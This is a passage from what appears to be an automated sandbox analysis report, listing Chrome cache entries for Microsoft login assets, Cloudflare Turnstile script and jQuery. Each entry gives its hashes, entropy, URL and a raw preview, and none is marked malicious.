[.C.....{...~..c......ua...~.v<.I..P#._{{}._.......Km...eR....u?GY..h..}..gAv...<.l.Z...#.....:P?Q..."..........,.D...I<._.'..-..=..;.>.C_..#.....D[0.Y..*...M.....{.YT,...x..SQ/......N<`...\|._.k....0)......+.Z..4...M. ...i...`.ml..-X.E.....d.. .}.e4.{6hz^..}....@....W.1...d8...>.@.....(.'[..`..A..?...yL.\|..QTF...-.='S@.Q.sM.`...}.t..$..y^..0J.kC.S...U.

Chrome Cache Entry: 127

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 128

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47520)
Category:	dropped
Size (bytes):	47521
Entropy (8bit):	5.398500199255723
Encrypted:	false
SSDEEP:	768:11CQfmIG2Y8rH8zH5ei80aszzQhpd+dr6F/PG2Xv9PL79noBL5o6YBU91KL5Gc05:1a/0H8zH5eJdVplGYv9f96Yjy
MD5:	301F68F3D8317AB22D4021E266C9A853
SHA1:	B464B8B48880C53E9D203A2ACEAF3FDFEC517D97
SHA-256:	BF2059BE7007CD21FDD3B5DF727B89C8916142F7ABADFD46408DE17778699FB7
SHA-512:	1B2C5CABA6A54F6884E8DC40CB31FFDAA56DD3833DE8F97F0843811617207D1DF0ECEF75E9B88F652D42731E6784F6F51A7021FBB1515738DC5DE8E4B90A5682
Malicious:	false
Preview:	"use strict";(function(){function Wt(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);function g(l){Wt(u,o,c,g,h,"next",l)}function h(l){Wt(u,o,c,g,h,"throw",l)}g(void 0)})}}function D(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):D(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 129

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 57510
Category:	dropped
Size (bytes):	16345
Entropy (8bit):	7.98960525258912
Encrypted:	false
SSDEEP:	384:hOBEj/gTOkWow6mhJqXnYI/0PiQBSoe122Yw/:hOBKJBXO586QB+11J
MD5:	187B9EBA41FDF66B2C8F7EB645D2BC17
SHA1:	B1C034F7F5F754F271D094FB417B9A820C1F712C
SHA-256:	CA0FBF8421A0CF4CCDA7310B2AE74CBD92214901EC2D0F273EA3B07F12CF96EA
SHA-512:	0D7FB682D24E97C9E3FC04AA87CCB8EC508CA0CF197DA0617EFFD981BC8B5E3600824FDD08F1F31F59D276B5BF53229D00805D984E01D512FD968610C5FE9609
Malicious:	false
Preview:	...........}Ms#.......\.@..'F.........3RH2....~......Q.x7...}..'.}..?e#...QU]....Vo..................?........w!......=.G...P.../......8z....q._5....g..}g..31......l*...],.b..;..`...Y....3..5.uGAi..NP.6<.w.(..`...y..d.N.x..^u.....^...?..N........Fq.....z..wgN./..Ep/f..c/.D4~X.W~).s/.E8...T...8,:..Q.p>.....7.....4....Z,&c.)n.[.pcQp...4...&...i.............CkL=.....g..m&vG..p... ....:N`y...ea.,....[......^.../D#(y.....l4.n..,.=_.p2P.....A,..RP..E.T......8 .v....Iw.X..?.r......nk....?Wj..a.\|..........JAs.j......?.)..t.z.-..m.]..3y...3@...'.)...Aa..1.kQ.....l+.....-q..n.p..{^...$..{/...=a..A...4.VH}..SBwju......S..hN.P..-..O,..S7.J,.....p.iLU.6W.....eO.7 ..C...{.E.Z...1...5s.!uY...@^. ,D".N.E......5.NE..\...VQa.A7..X.B..{.q..Ra..S....x(x7.Cp.#.#..:.......D..`,!IGr.. ...z.?.._0O.......;..0.z.h....5.../...q..5.\|..B.OY..k...].Sw.>.".@..!.9.V\|...=.dv.3!sr.....#...X8s.w.\|7..O/....!.."...3.."D..)...[........!^....3(..{...F2'..q.....x........

Chrome Cache Entry: 130

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1864
Category:	downloaded
Size (bytes):	673
Entropy (8bit):	7.6596900876595075
Encrypted:	false
SSDEEP:	12:Xl0t8TUViiYi5m6FhSBXWPsigK99WCqKMvBBFThSqfLd81CK6bC+k7LqZLsFlD:XFUVpkNK0Rwid81p6btk7LqZ6D
MD5:	0E176276362B94279A4492511BFCBD98
SHA1:	389FE6B51F62254BB98939896B8C89EBEFFE2A02
SHA-256:	9A2C174AE45CAC057822844211156A5ED293E65C5F69E1D211A7206472C5C80C
SHA-512:	8D61C9E464C8F3C77BF1729E32F92BBB1B426A19907E418862EFE117DBD1F0A26FCC3A6FE1D1B22B836853D43C964F6B6D25E414649767FBEA7FE10D2048D7A1
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg
Preview:	...........U.n.0....}i..P..C..7l/..d........n...G....yl. .E.......Tu.F.........?$.i.s..s...C..wi$.....r....CT.U.FuS..r.e.~...G.q.....~M..mu}.0.=..&.~.e.WLX.....X..%p..i......7+.........?......WN..%>...$..c..}N....Y4?..x.1......#v...Gal9.!.9.A.u..b..>..".#A2"+...<qc.v....)3...x.p&..K.&..T.r.'....J.T....Q..=..H).X...<.r...KkX........)5i4.+.h.....5.<..5.^O.eC%V^....Nx.E..;..52..h....C"I./.`..O...f..r..n.h.r]}.G^..D.7..i.].}.G.].....{....oW............h.4...}~=6u..k...=.X..+z}.4.].....YS5..J......)......m....w.......~}.C.b_..[.u..9_7.u.u.....y.ss....:_yQ<{..K.V_Z....c.G.N.a...?/..%. .-..K.td....4...5.(.e.`G7..]t?.3..\..... ....G.H...

Chrome Cache Entry: 131

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	dropped
Size (bytes):	2672
Entropy (8bit):	6.640973516071413
Encrypted:	false
SSDEEP:	48:ZaOdwduTYPpS9pZy9vDNi1miicsvrJkafMiS+MGQ09DU/X9/4Xp6m5Z9SQcq:4CIuTYPpSTc9vcPZX9/2gzQ/
MD5:	166DE53471265253AB3A456DEFE6DA23
SHA1:	17C6DF4D7CCF1FA2C9EFD716FBAE0FC2C71C8D6D
SHA-256:	A46201581A7C7C667FD42787CD1E9ADF2F6BF809EFB7596E61A03E8DBA9ADA13
SHA-512:	80978C1D262BC225A8BA1758DF546E27B5BE8D84CBCF7E6044910E5E05E04AFFEFEC3C0DA0818145EB8A917E1A8D90F4BAC833B64A1F6DE97AD3D5FC80A02308
Malicious:	false
Preview:	GIF89a`............!..NETSCAPE2.0.....!.......,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....0.............<....[.\K8j.tr.g..!.......,....3............^;...\UK.]\.%.V.c...!.......,....7........`....lo...[.a..*Rw~i...!.......,....;........h.....l.G-.[K.,_XA]..'g..!.......,....?........i.....g....Z.}..)..u...F..!.......,....C...............P.,nt^.i....Xq...i..!.......,....F...........{^b....n.y..i...\C.-...!.......,....H..............R...o....h.xV!.z#...!.......,"...L.............r.jY..w~aP(.......[i...!.......,(...N.............r....w.aP.j.'.)Y..S..!.......,....H.........`......hew..9`.%z.xVeS..!.......,5...A.........`...\m.Vmtzw.}.d.%...Q..!.......,9...=.........h......3S..s.-W8m...Q..!.......,A...5.........h.....N...:..!..U..!.......,H.............h....M.x...f.i.4..!.......,O...'.........i...tp......(..!.......,X.............j...@.x....!.......,].............j..L..3em..!.......,e.............`......!.......,n..............{i..!..

Chrome Cache Entry: 132

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47520)
Category:	downloaded
Size (bytes):	47521
Entropy (8bit):	5.398500199255723
Encrypted:	false
SSDEEP:	768:11CQfmIG2Y8rH8zH5ei80aszzQhpd+dr6F/PG2Xv9PL79noBL5o6YBU91KL5Gc05:1a/0H8zH5eJdVplGYv9f96Yjy
MD5:	301F68F3D8317AB22D4021E266C9A853
SHA1:	B464B8B48880C53E9D203A2ACEAF3FDFEC517D97
SHA-256:	BF2059BE7007CD21FDD3B5DF727B89C8916142F7ABADFD46408DE17778699FB7
SHA-512:	1B2C5CABA6A54F6884E8DC40CB31FFDAA56DD3833DE8F97F0843811617207D1DF0ECEF75E9B88F652D42731E6784F6F51A7021FBB1515738DC5DE8E4B90A5682
Malicious:	false
URL:	https://challenges.cloudflare.com/turnstile/v0/g/849bfe45bf45/api.js
Preview:	"use strict";(function(){function Wt(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);function g(l){Wt(u,o,c,g,h,"next",l)}function h(l){Wt(u,o,c,g,h,"throw",l)}g(void 0)})}}function D(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):D(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 133

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	downloaded
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
URL:	https://code.jquery.com/jquery-3.6.0.min.js
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 134

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 113424
Category:	downloaded
Size (bytes):	20410
Entropy (8bit):	7.980582012022051
Encrypted:	false
SSDEEP:	384:8RvmaMFysnOXZ2m9zM+udO6GGUpeAU02oDGnN5EsQwWUQGTS8r2k:8pmm7ZFM+ObGGUIjN5PJV3Tp
MD5:	3BA4D76A17ADD0A6C34EE696F28C8541
SHA1:	5E8A4B8334539A7EAB798A7799F6E232016CB263
SHA-256:	17D6FF63DD857A72F37292B5906B40DC087EA27D7B1DEFCFA6DD1BA82AEA0B59
SHA-512:	8DA16A9759BB68A6B408F9F274B882ABB3EE7BA19F888448E495B721094BDB2CE5664E9A26BAE306A00491235EB94C143E53F618CCD6D50307C3C7F2EF1B4455
Malicious:	false
URL:	https://aadcdn.msauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_81imvbluez-v5hbzpkxfcg2.css
Preview:	...........}k..6..w...R..J.H=GSI..x.9...}T.....)Q..f<...~.F.h..x..{+.-.....h..n....</v.ev......W.,.bU..rW.I...0x...C..2...6]..W_......../x.........~.z.}.\|.#x......AgO.\|XgU...4 .^'U...mP.A.].Z.U.!..Y.......:.ve.?.!..d.N...xJ...mR......0.@p...lKr/...E.-. .....\|l.4.o.i.......L.iF..T{.n....2....VEY.y=..=..T+V./.b....\....7.sH.w{.h.....!.."F.k.!.......d...mS.rh.&G.../..h&..RE"!.A/.......A....L...8.q.M...t[...R...>.6;R..^.Vu..9.[F........>A.:HT}w]......2........p......'T.^]}.^..yJ>.<..pq..h.\|..j....j.x..-...c...f...=".)..U.X'.M..l.]ZVtl\.I..}.0.~B0Y'.N...E.4.Xd..e...a.........."..9+d.&..l.$E..R.u.g.Q..w&...~I. .y..D.4;..'.."-.....b...)k.n.M...,3J.z_..&2f.h;.&.R.y..P..X.....\P.....r...B.$........<....H5.M.."'#.6mQl..mQ5.=.\...O.....^..jM..u.F..Oh.lNI..j..T..u...I..._........{.\...{..._\|..={O..z..>......x..5Q.D7?{...^...^.......o.=.z......v......z.C...Gtw...0!..M@....^...^.x..G....W...{...)..y.<c3...^>{......7._..'d__...;R.

Chrome Cache Entry: 135

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	downloaded
Size (bytes):	2672
Entropy (8bit):	6.640973516071413
Encrypted:	false
SSDEEP:	48:ZaOdwduTYPpS9pZy9vDNi1miicsvrJkafMiS+MGQ09DU/X9/4Xp6m5Z9SQcq:4CIuTYPpSTc9vcPZX9/2gzQ/
MD5:	166DE53471265253AB3A456DEFE6DA23
SHA1:	17C6DF4D7CCF1FA2C9EFD716FBAE0FC2C71C8D6D
SHA-256:	A46201581A7C7C667FD42787CD1E9ADF2F6BF809EFB7596E61A03E8DBA9ADA13
SHA-512:	80978C1D262BC225A8BA1758DF546E27B5BE8D84CBCF7E6044910E5E05E04AFFEFEC3C0DA0818145EB8A917E1A8D90F4BAC833B64A1F6DE97AD3D5FC80A02308
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif
Preview:	GIF89a`............!..NETSCAPE2.0.....!.......,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....0.............<....[.\K8j.tr.g..!.......,....3............^;...\UK.]\.%.V.c...!.......,....7........`....lo...[.a..*Rw~i...!.......,....;........h.....l.G-.[K.,_XA]..'g..!.......,....?........i.....g....Z.}..)..u...F..!.......,....C...............P.,nt^.i....Xq...i..!.......,....F...........{^b....n.y..i...\C.-...!.......,....H..............R...o....h.xV!.z#...!.......,"...L.............r.jY..w~aP(.......[i...!.......,(...N.............r....w.aP.j.'.)Y..S..!.......,....H.........`......hew..9`.%z.xVeS..!.......,5...A.........`...\m.Vmtzw.}.d.%...Q..!.......,9...=.........h......3S..s.-W8m...Q..!.......,A...5.........h.....N...:..!..U..!.......,H.............h....M.x...f.i.4..!.......,O...'.........i...tp......(..!.......,X.............j...@.x....!.......,].............j..L..3em..!.......,e.............`......!.......,n..............{i..!..

Chrome Cache Entry: 136

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/cmg/1
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 137

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 15755
Category:	dropped
Size (bytes):	5525
Entropy (8bit):	7.961202222662501
Encrypted:	false
SSDEEP:	96:dySl6/e7OAQD3cS66g8cxO4qXgy66F0+fgENU28TjN3KY6meSsj0ktMvB4YJix2I:dNl6/zFDW6dlXV665ReB67j0sEBWxl
MD5:	28CE5BF8BACB96D1C2CFA0092145C6EE
SHA1:	303A4629C4467AF2C551EC9E6353464C8C25827D
SHA-256:	6B89EEC14865DB53FE20FB3C70B0853362E21669DACE19C06172F673B2EDC5CD
SHA-512:	6A10794F105EF5C6F7F7DC2C89152A8342E6D9D8D9490783863ED2737FFD5982E916F72E0A9ECB944AB9815FA70BD20C7256A91E2A62D971F80C23822B809A02
Malicious:	false
Preview:	...........[}w.F....Bh..i3.M.t.rU.....]..M...@.(..........@..N..I-k..;w.....U.F..v....N....]....MC......U.]o>..mJ.w..~.5<......Z.h~8..8J..m......0.&Z:.Z.D_. .Z.....<.f..t..].I:..........b. ...}.ja......'..x......m6..c...$..........b\|s......O.a..cE..u.2..6jG!.A.....P..?q@?"..).Mk.0.[."V..M..4...4.~}.?.i..D.}h\|..$x.Ajm.S..H..-.x.If..]..1.D0.F......pq.(.\|...y\...5....y2.q.Fq...[.\|..n.b.i_D......xuR......I.TS.4..}\|<...o....MG.+@.......\.?."...+[...A..&...{]......u..+p?......\|...j....7...=H..cwp.38.;%c.....O..............p...X.g!....r...d..5.%x.....;...j6p...p......c.Nd.:...&.....%.. tR.d.@.. ...1..6....i....:...s=..V...iN..1../tH..p<..Mo.......`&.7uA;..(lC.......4...?..0..[S@...D..\|....=.wh2...<.. ...)..F...!. .C...k...S.pPt......s..K.V...w......7....Zn.d..t]l.........5=.(..#.....l._.Ip......-O.6.,......q4....!XS`6k..k.....9k....{~*.....X....q......l.>x..={j.n..W......e..Q..I/..;a..MS>.!5v.d.B+.o.....q...j.q..Z..=..@g.1q..,yBV91m.j>..4.o...

Chrome Cache Entry: 138

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 113769
Category:	downloaded
Size (bytes):	35170
Entropy (8bit):	7.993096534744333
Encrypted:	true
SSDEEP:	768:K+LvEzA9nny7u0zF35Hm4ngomu6yeLDKDnccqmcmHvVVPCLVf:ny7f5GpuheL4htv3Pkf
MD5:	171A4DD9400708B88724B57D62B24A6A
SHA1:	9C6F1303B8F02FCE18D20EC9CADA11D38D0C4B37
SHA-256:	EA00750636C11DBD4FA3ACB1B3CDCBAE3EFA43F6B6C3753444B6D6A242AE9336
SHA-512:	5B13B63912B34E3EEEDD8DA5953B869A83DF82FFD2A8D737AA81DC984F1811800A534F340C48041DA803C25B6B8F5605EA8D003B6A09A1874408F95A710F5126
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_cc2c59f5ef2c09e14b08.js
Preview:	...........kC.H.0......e....0.pX..Iv3..\f..0YY.m..e$.K..o...j..g.3.lpW.......[..Y.?k.Y.......8~.a..../_.;]{.............v...0..q.Dk.w...h-....Z<..l.fA..k3.7..dm....b..-...(,.$...4...f...e...AV..z.mA....O.9........k..h-.......<Z[.GQ.v3....Oq..y:..(..k.$_...._..h-...q..S.ck.=.T......Sq@.:.A.c.(....SDq..Ac.t..m.$Lc....Z...K...O<....f9..p...0Z..3.<...$YK.x.F......v....nm..s$...&..dQ4.......n-.-.......E.XD..-5~...f.....t...-_.....fsg...8kZ..\|.{{....p+Lg.t9I..P./ap......o9Wx.._{....k..,...............................7.\|..t...Ax.7..b..v..v.m-...~v...:....r..._........,...A........z.....\|..t.. [.C.....{...~..c......ua...~.v<.I..P#._{{}._.......Km...eR....u?GY..h..}..gAv...<.l.Z...#.....:P?Q..."..........,.D...I<._.'..-..=..;.>.C_..#.....D[0.Y..*...M.....{.YT,...x..SQ/......N<`...\|._.k....0)......+.Z..4...M. ...i...`.ml..-X.E.....d.. .}.e4.{6hz^..}....@....W.1...d8...>.@.....(.'[..`..A..?...yL.\|..QTF...-.='S@.Q.sM.`...}.t..$..y^..0J.kC.S...U.

Chrome Cache Entry: 139

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 57510
Category:	downloaded
Size (bytes):	16345
Entropy (8bit):	7.98960525258912
Encrypted:	false
SSDEEP:	384:hOBEj/gTOkWow6mhJqXnYI/0PiQBSoe122Yw/:hOBKJBXO586QB+11J
MD5:	187B9EBA41FDF66B2C8F7EB645D2BC17
SHA1:	B1C034F7F5F754F271D094FB417B9A820C1F712C
SHA-256:	CA0FBF8421A0CF4CCDA7310B2AE74CBD92214901EC2D0F273EA3B07F12CF96EA
SHA-512:	0D7FB682D24E97C9E3FC04AA87CCB8EC508CA0CF197DA0617EFFD981BC8B5E3600824FDD08F1F31F59D276B5BF53229D00805D984E01D512FD968610C5FE9609
Malicious:	false
URL:	https://aadcdn.msauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_i8f-75gfk3tbsm8bmatnqa2.js
Preview:	...........}Ms#.......\.@..'F.........3RH2....~......Q.x7...}..'.}..?e#...QU]....Vo..................?........w!......=.G...P.../......8z....q._5....g..}g..31......l*...],.b..;..`...Y....3..5.uGAi..NP.6<.w.(..`...y..d.N.x..^u.....^...?..N........Fq.....z..wgN./..Ep/f..c/.D4~X.W~).s/.E8...T...8,:..Q.p>.....7.....4....Z,&c.)n.[.pcQp...4...&...i.............CkL=.....g..m&vG..p... ....:N`y...ea.,....[......^.../D#(y.....l4.n..,.=_.p2P.....A,..RP..E.T......8 .v....Iw.X..?.r......nk....?Wj..a.\|..........JAs.j......?.)..t.z.-..m.]..3y...3@...'.)...Aa..1.kQ.....l+.....-q..n.p..{^...$..{/...=a..A...4.VH}..SBwju......S..hN.P..-..O,..S7.J,.....p.iLU.6W.....eO.7 ..C...{.E.Z...1...5s.!uY...@^. ,D".N.E......5.NE..\...VQa.A7..X.B..{.q..Ra..S....x(x7.Cp.#.#..:.......D..`,!IGr.. ...z.?.._0O.......;..0.z.h....5.../...q..5.\|..B.OY..k...].Sw.>.".@..!.9.V\|...=.dv.3!sr.....#...X8s.w.\|7..O/....!.."...3.."D..)...[........!^....3(..{...F2'..q.....x........

Chrome Cache Entry: 140

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 141

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 26 x 21, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	4.002585360278504
Encrypted:	false
SSDEEP:	3:yionv//thPl1+w4Hxl/k4E08up:6v/lhPOwI7Tp
MD5:	572BC52743318E8DCEC32C2906C926B1
SHA1:	1765D87C993CB8AE529EE7A48887C44AE48FE678
SHA-256:	C10262674E4E41431B6B264A9BC6BF4D209BB17409254569B2A66B1D86CCFBC4
SHA-512:	D954A51E02AC7A038C081427233779771647CF0F18D8517968C41CAE4EB91C4286100F596AF201EBF5173D574D95F9191FA3BFD714C05C4862593E7C0E6C144A
Malicious:	false
Preview:	.PNG........IHDR..............~iL....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 142

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1864
Category:	dropped
Size (bytes):	673
Entropy (8bit):	7.6596900876595075
Encrypted:	false
SSDEEP:	12:Xl0t8TUViiYi5m6FhSBXWPsigK99WCqKMvBBFThSqfLd81CK6bC+k7LqZLsFlD:XFUVpkNK0Rwid81p6btk7LqZ6D
MD5:	0E176276362B94279A4492511BFCBD98
SHA1:	389FE6B51F62254BB98939896B8C89EBEFFE2A02
SHA-256:	9A2C174AE45CAC057822844211156A5ED293E65C5F69E1D211A7206472C5C80C
SHA-512:	8D61C9E464C8F3C77BF1729E32F92BBB1B426A19907E418862EFE117DBD1F0A26FCC3A6FE1D1B22B836853D43C964F6B6D25E414649767FBEA7FE10D2048D7A1
Malicious:	false
Preview:	...........U.n.0....}i..P..C..7l/..d........n...G....yl. .E.......Tu.F.........?$.i.s..s...C..wi$.....r....CT.U.FuS..r.e.~...G.q.....~M..mu}.0.=..&.~.e.WLX.....X..%p..i......7+.........?......WN..%>...$..c..}N....Y4?..x.1......#v...Gal9.!.9.A.u..b..>..".#A2"+...<qc.v....)3...x.p&..K.&..T.r.'....J.T....Q..=..H).X...<.r...KkX........)5i4.+.h.....5.<..5.^O.eC%V^....Nx.E..;..52..h....C"I./.`..O...f..r..n.h.r]}.G^..D.7..i.].}.G.].....{....oW............h.4...}~=6u..k...=.X..+z}.4.].....YS5..J......)......m....w.......~}.C.b_..[.u..9_7.u.u.....y.ss....:_yQ<{..K.V_Z....c.G.N.a...?/..%. .-..K.td....4...5.(.e.`G7..]t?.3..\..... ....G.H...

Chrome Cache Entry: 143

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	downloaded
Size (bytes):	3620
Entropy (8bit):	6.867828878374734
Encrypted:	false
SSDEEP:	48:ZumKaT5ezv47j2/ZiRDlq16x8XvEUcg777shHdpHVGJqFd:Eal647jPDlL8XvEUcg77kVGyd
MD5:	B540A8E518037192E32C4FE58BF2DBAB
SHA1:	3047C1DB97B86F6981E0AD2F96AF40CDF43511AF
SHA-256:	8737D721808655F37B333F08A90185699E7E8B9BDAAA15CDB63C8448B426F95D
